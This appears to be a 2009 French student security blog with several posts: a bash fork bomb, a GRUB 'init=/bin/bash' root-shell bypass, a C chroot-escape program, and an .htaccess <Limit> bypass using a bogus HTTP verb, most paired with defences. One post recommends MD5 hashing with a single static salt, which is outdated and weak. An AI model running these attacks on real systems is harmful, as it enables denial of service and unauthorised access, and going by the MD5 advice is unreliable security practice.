[Linux] Fork bombing, l’art de faire crasher Linux ! 3 novembre 2009
Posted by Nassim in Linux, Sécurité.Tags: bash, console, crash, fork, Linux, linuxdz, pam, plantage, Sécurité, shell
5 comments
Les cours se suivent l’un après l’autre et parfois on découvre des choses passionnantes. Dernièrement en étudiant la notion de fork (ou plutôt devrais-je dire “en re-étudiant” puisque j’avais déjà étudié cela durant mon précédent cursus) j’ai eu une idée lumineuse (machiavélique) qui se résume à utiliser des forks pour saturer le système et ainsi le faire planter.
Quelques minutes plus tard et après avoir tapé quelques lignes de code en C, j’ai obtenu le résultat escompté, c’est-à-dire un joli plantage, pour aller plus loin dans le sujet j’ai googlé un peu et là je suis tombé sur un code merveilleux, d’une beauté rare ! Un petit code en bash à taper directement dans sa console pour faire planter Linux, c’est instantané et radical !
Voici donc le code magic :
:() { : | : & };:
Cela peu paraitre fou mais ces quelques caractères font réellement planter le PC ! Seule solution pour reprendre la main : redémarrer à l’aide du bouton d’arrêt!
Ceux qui, comme moi, ont étudié et codé un peu en bash, ont normalement compris ce qui se cache dernière cette série de symboles… Non ?! Vous ne comprenez pas ?!?! Ok, alors je vais expliquer le code par petits bouts :
:() Cette syntaxe bash indique que l’on créé une fonction nommée “:“.
{ Cette accolade ouvrante marque le début du contenu de la fonction.
: | : & Ceci est le corps de la fonction, on appelle la fonction “:” en elle-même (récursivité) et on la pipe avec elle même, le tout sera exécuté en tâche de fond.
} Cette accolade fermante indique la fin du contenu de la fonction.
;: Le point virgule en console sert de séparateur entre deux commandes, le “:” indique qu’on lance la fonction “:” qu’on a précédemment défini.
En résumé, ce qu’il y a avant le “;” sert à définir notre fonction et ce qu’il y a après le “;” est l’appel de la fonction définie. Le résultat est un fork exponentiel qui va très rapidement saturer la mémoire (cela foudroie instantanément mon laptop équipé d’un dual core 1,6Ghz et d’1Go de DDRII).
Bien entendu, étant futur administrateur système et réseau et passionné de sécurité informatique, j’ai aussi cherché à savoir comment se protéger de ce genre de pratique, mine de rien ce petit truc là que je vous montre dans ce billet permet à un utilisateur ayant des privilèges standards de faire planter la machine sans utiliser de commandes particulières, vous imaginez ça sur un serveur de production ?
Donc j’ai pu constater qu’un des moyens de protéger son système est d’utiliser PAM, il faut donc éditer le fichier /etc/security/limits.conf pour limiter le nombre de processus que peut lancer un utilisateur.
Il doit aussi y avoir des patchs pour le noyau permettant de sécuriser ce phénomène mais comme j’ai un examen assez complexe demain (sémaphores et compagnie), je n’ai pas eu le temps de chercher d’avantage. Néanmoins, je vous tiens au courant et je vous dis à très bientôt pour de nouvelles aventures !
[Linux] Sécuriser GRUB 20 octobre 2009
Posted by Nassim in Linux, Sécurité.Tags: bash, bootloader, bsd, gnu, grub, hacking, Linux, linuxdz, passwd, protection, root, Sécurité
2 comments
Les cours s’enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar qui est membre de la team Linuxfr.org.
Aujourd’hui on a eu droit en cours à une petite parenthèse au sujet de la sécurité de GRUB, Mr Nussbaum nous a montré comme il était facile d’exploiter GRUB dans sa configuration par défaut pour avoir accès à un système sans mot de passe root ni compte utilisateur.
La méthode qui nous a été décrite est affreusement simple du moment qu’on n’a accès physique à la machine, il suffit lors de l’affichage du menu de sélection de GRUB de sélectionner l’entrée de la distribution Linux puis de taper “e” pour éditer cette entrée, on ajouter à la fin de la ligne débutant par kernel la commande suivante :
init=/bin/bash
Attention à bien laisser un espace entre le texte déjà présent dans la ligne et ce qu’on y ajoute. Il ne faut pas que cela soit coller !
Une fois cette modification faite, on valide en tapant sur “Entrée” puis on boot en pressant la touche “b”. Et là miracle, au bout de quelques seconde on arrive sur un shell bash tout beau sans qu’aucune identification ne soit requise. A partir de là on peut imaginer effectuer tout un tas d’action comme modifier le mot de passe d’un utilisateur à l’aide de la commande passwd. Notez d’ailleurs que cette technique est parfaitement utilisable quand vous avez oublié votre mot de passe root par exemple.
Maintenant voyons comment améliorer la sécurité de notre GRUB et du PC de manière générale :
- Mettre un mot de passe au BIOS pour éviter les modifications de celui-ci.
- Modifier les séquences de boot de façon à ce que la machine ne boot que sur le disque dur, pensez pour cela à complètement désactiver les autres périphériques de boot car se contenter de mettre le disque dur en première position dans la séquence de boot ne suffit pas, un hacker peut très bien sélectionner un autre périphérique de boot avec certains raccourcis comme F2, F10 ou F12 (tout dépend du matériel).
- Mettre un cadenas au chassie du PC (ou l’enfermer dans une case du bureau) pour empêcher un accès à l’intérieur de la machine.
- Protéger GRUB à l’aide d’un mot de passe :
Pour mettre un mot de passe à grub il va tout débord falloir générer un hash md5 du mot de passe que vous désirez utiliser, pour cela il faut passer par l’utilitaire grub-md5-crypt :
[nassim@Laptop_Nassim ~]$ grub-md5-crypt
Password:
Retype password:
$1$XF1ZG/$Hry.mmJjvlJ1DeH4/4EG9.
La chaine de caractère en vert est votre mot de passe en crypté, vous devez le copier. Il ne reste plus qu’à éditer le fichier menu.lst de Grub et y insérer la ligne suivante au niveau des configurations générales (et non à la fin du fichier) :
password –md5 MotDePasseCrypté
Pour activer la protection des différentes entrées de Grub, il faut modifier chaque entrée du menu.lst en ajoutant le terme lock en dessous de leur titre, comme dans cet exemple :
# (0) Arch Linux
title Arch Linux
lock
root (hd0,5)
kernel /boot/vmlinuz26 root=/dev/disk/by-uuid/af698b50-2fab-4465-9e75-94de78fca8b2 ro vga=792
initrd /boot/kernel26.img
Voilà, désormais lors du lancement de grub vous ne pourrez ni éditer ni lancer une entrée (démarrer Linux) dans avoir pressé la touche “p” puis avoir saisi votre mot de passe.
J’avoue Personnellement, je trouve que cette protection n’est pas très pratique, cela devient vite fatiguant de devoir saisir son mot de passe à chaque démarrage, je recommande donc cette manipulation uniquement pour les machines qui nécessites réellement un soin très particulier en terme de sécurisation (serveur, ordinateur ayant des données sensibles…etc).
[Sécurité/Linux] Chroot Break 4 octobre 2009
Posted by Nassim in Linux, Sécurité.Tags: évation, chroot, faille, gnu, grsecurity, hacking, Linux, linuxdz, piratage, Sécurité, unix
1 comment so far
Derrière ce titre original se cache un billet traitant de l’évasion d’un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j’ai vu récemment en cours.
De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l’aide de l’outil chroot, le but de cette manipulation étant de limiter l’impacte du piratage d’une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l’empêchera d’infecter le reste du système, la sécurité globale reste donc préservée.
Cela dit, les gens savent moins souvent que la commande chroot n’a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s’échapper d’un chroot et d’avoir ainsi accès à l’ensemble du système.
Voici un petit programme rédigé en C qui permet d’outrepasser un chroot :
/**
* Programme en C permettant d’outrepasser un chroot.
* Auteur : Lucas Nussbaum – IUT Charlemagne Nancy2, France.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main() {
/* On se positionne a la racine du chroot */
if (chdir(“/”) == -1) { perror(“chdir”); }
/* On cree un repertoire ‘foo’ et un chroot dedans */
if (mkdir(“/foo”, 0755) == -1) { perror(“mkdir”); }
if (chroot(“/foo”) == -1) { perror(“chroot”); }
/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.
On fait remonter le repertoire courant. */
if (chdir(“../../../../..”) == -1) { perror(“chdir”); }
/* On execute un shell */
system(“/bin/bash”);
return 0;
}
Deux remarques au sujet de ce code mis au point par mon enseignant :
- Il requière les privilèges root.
- Il requière l’accès à un compilateur C ou d’avoir la possibilité d’exécuter un programme
Ce programme exploite l’appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l’aide d’un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot… on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu’à se retrouver à la racine “/” et de lancer un shell bash pour avoir un accès complet au système.
D’autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l’ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.
Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.
Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n’a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j’utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.
D’ailleurs, j’essaierai prochainement de rédiger un billet traitant des dispositifs que j’ai mis en place sur mon serveur pour le sécuriser.
[PHP-Sécurité] Technique du grain de sel 10 août 2009
Posted by Nassim in Développement, Sécurité.Tags: cryptage, grain, hacking, md5, php, programmation, sécurisation, Sécurité, sel
2 comments
Intrigant comme titre non ? La technique du grain de sel est une méthode permettant de renforcer les hash MD5 des mots de passe d’une application, elle n’est pas spécifique à PHP et peut être adapté à bien des langages.
Le fonctionnement de cette technique est très simple, il conciste à concaténer une chaine au mot de passe avant de le hasher en MD5, cette chaine étant composée de caractères aléatoires de préférence. Le but de cette manoeuvre? Tout simplement rallonger le mot de passe et rendre les attaques par brute-force et par rainbow tables plus difficiles pour ne pas dire impossibles.
En effet, avec des attaques par rainbow tables (tables arc-en-ciel en français) il est souvent possible de casser un mot de passe de 8 lettres et moins, sachant qu’il est rare qu’un utilisateur ait un mot de passe d’une longueur supérieur, les chances de réussite sont relativement élevées.
A l’aide d’un grain de sel, on va résoudre ce problème de longueur de mot de passe et rendre les attaques de décryptage beaucoup plus fastidieuses. Voyons un peu en pratique comment implémenter notre méthode :
$salt = “aJ!#eIL-pwZm*F”; // Notre grain de sel, une chaine de caractères
$password = $_POST['password']; // Le mot de passe saisie par l’utilisateur via le formulaire d’enregistrement
$password = md5($password.$salt); // On effectue une concaténation du mot de passe avec notre grain de sel
Voilà… c’est aussi simple que ça ! Il ne reste plus qu’à sauvegarder le mot de passe dans la base de données, bien entendu, pour vérifier le mot de passe de l’utilisateur quand il voudra s’identifier il ne faudra pas oublier de concaténer à nouveau le mot de passe saisie avec le grain de sel.
Lorsqu’on dévelope une application qui sera redistribuée avec sa source, on ne peut pas implémenter la technique du grain de sable directement comme on l’a fait plus haut, pour la simple raison que le “salt” sera visible par tous dans le code source, il y a 2 solutions que je connais pour y remédier :
1/ Soit vous demandez explicitement aux utilisateurs de votre application d’éditer la source pour modifier la valeur du salt.
2/ Soit vous concevez une fonction qui générera un salt et qui sauvegardera sa valeur dans la base de données, votre application pourra ainsi obtenir la valeur du salt dès qu’elle en a besoin en intérrogant la BD. C’est cette technique qui est par exemple employée par Joomla, à la différence qu’il y a un grain de sel généré pour chaque utilisateur.
Personnellement, si vous développez une application pour votre propre besoin, préférez la première façon de faire car elle présente l’avantage d’être moins gourmande en ressource (pas de fonction de génération avec des random, ni de requêtes SQL) et elle n’est pas vulnérable aux injections SQL.
Voilà… j’espère vous avoir présenter une fois de plus un article instructif et simple. N’hésitez pas à laisser des commentaires et à proposer des solutions alternatives.
SANDCAT : Scanner de vulnérabilités web 24 juillet 2009
Posted by Nassim in Software, Sécurité.Tags: analyse, apache, cms, faille, hack, hacking, iis, piratage, protection, sandcat, Sécurité, scanner, server, serveur
2 comments
J’ai créé ce petit billet pour vous présenter un logiciel vraiment très utile dans le domaine de la sécurité informatique, il s’agit de Sandcat.
Sandcat est un scanner de failles sur 3 niveaux :
- Failles d’applications web (notamment le TOP 10 des failles OWASP et OWASP PHP).
- Failles du serveur (IIS, apache, configuration de PHP…etc).
- Analyses des fichiers “Log” (traçage des attaques et violations…Etc).
Ce logiciel est donc complet et couvre un large éventaille de failles (SQL Injection, CRLF Injection, DoS, XSS…), sa version gratuite est téléchargeable à cette adresse : http://www.syhunt.com/?section=sandcat.download
La version Pro qui est plus complète et plus puissance est payante, je regrète aussi le fait que cette application ne soit disponible que sous Windows.
{Sécurité} Acunetix WVS Free Edition 14 mai 2009
Posted by Nassim in Sécurité.Tags: acunetix, apache, faille, hacking, iis, piratage, protection, Sécurité, scanner, web, xss
add a comment
Acunetix WVS Free Edition est la version gratuite du scanneur de failles Acunetix Web Vulnerability Scanner. Comme vous vous en doutez cette version gratuite a des limitations par rapport à la version payante, elle est en effet “bridée” à la vérification des failles XSS, néanmoins ce genre de failles étant répandu et critique, cela est toujours une bonne chose de scanner son site web.
Pour télécharger gratuitement l’application, rendez-vous à cette adresse : http://www.acunetix.com/cross-site-scripting/Copy-scanner.htm
{Sécurité} Faille des .htaccess 12 mai 2009
Posted by Nassim in Linux, Sécurité.Tags: apache, faille, hacking, htaccess, http, php, piratage, Sécurité, serveur, web
7 comments
Les fichiers .htaccess sont des fichiers de configuration pour les serveurs apache permettant, entre autres, de restreindre à l’accès à certaines parties d’un site ou à sa totalité. Certains webmaster utilisent donc ces fichiers pour protéger les zones sensibles de leur site à l’aide d’un identifiant et d’un mot de passe.
Le hic, c’est qu’une mauvaise configuration de ces fichiers couplée à une mauvaise configuration du serveur apache (une configuration par défaut par exemple) créé une brèche de sécurité permettant de contourner les restrictions mises en place, c’est une de ces failles qui a été exploitée pour hacker le site d’Algérie Poste¹.
Généralement, les gens se contentent de faire un copier/coller des exemples de code qu’ils trouvent sur le net pour mettre en place leur protection via htaccess, malheureusement certaines versions des codes qu’on peut trouver sur le net sont erronés.
Voici par exemple un code que l’on peut aisément trouver sur la toile :
AuthUserFile /home/web/privé/.htpass AuthName "Identification obligatoire" AuthType Basic <limit GET POST> require valid-user </limit>
Alors expliquons un peu le contenu de ce fichier :
- La première ligne indique l’emplacement du fichier contenant les identifiants et mots de passe pour l’accès à la zone protégée.
- La seconde ligne est juste le titre de la fenêtre d’authentification qui s’affiche.
- La troisième ligne indique le type d’authentification.
- Les lignes 4 à 6 indiquent une balise LIMIT.
Le problème dans ce fichier vient, en partie, de cette fameuse balise LIMIT justement, celle-ci est sensée limiter les conditions d’accès aux requêtes POST et GET du protocole HTTP (C’est les types de requêtes utilisés lorsqu’on navigue sur un site internet). Hors, dans certaines configuration (notamment celle par défaut) les serveurs APACHE ont tendance a essayer d’interpréter les requêtes HTTP incorrectes comme des requêtes GET.
Par exemple en temps normal pour obtenir maPage.php votre navigateur envoi une requête du style :
GET /maPage.php HTTP/1.1
Host : www.monsite.com
Ce n’est qu’un exemple, d’ailleurs je n’ai pas retenu la syntaxe exacte des requêtes HTTP pour imiter parfaitement votre navigateur lol. Bref ! Imaginez que maPage.php est protégée par un htaccess, il m’est donc impossible d’y accéder sans m’identifier car ma requête GET sera traitée… par contre si on s’amuse à envoyer une requête erronée du style :
envoi une requête du style :
jeveux /maPage.php HTTP/1.1
Host : www.monsite.com
et bien comme cette requête n’est ni un GEt ni un POST le htaccess ne va pas appliquer la restriction sur elle, et comme apache va l’interpréter comme une requête GET et bien vous allez recevoir le page en question (y accéder quoi) sans aucune authentification.
Voilà le principe utilisé pour contourner donc les fameux fichier htaccess. Pour vous protéger de cette failles veillez à :
- Retirer les balises <LIMIT> de vos fichiers .htaccess.
- Configurer votre serveur apache de façon à ce qu’il n’accepte et ne traite que les requêtes HTTP valides (vous pouvez utiliser mod_security pour ça).
Voilà, j’espère vous avoir proposé un article intéressant, celui-ci inaugure la nouvelle catégorie “Sécurité” de mon blog, je compte vous proposer d’autres articles sur la sécurité informatique, si vous avez des compléments d’information ou des suggestions n’hésitez surtout pas.
¹ Information que j’ai pu lire à droite à gauche sur le net, je n’ai pas pris le temps de vérifier moi-même si ces affirmations étaient justes.
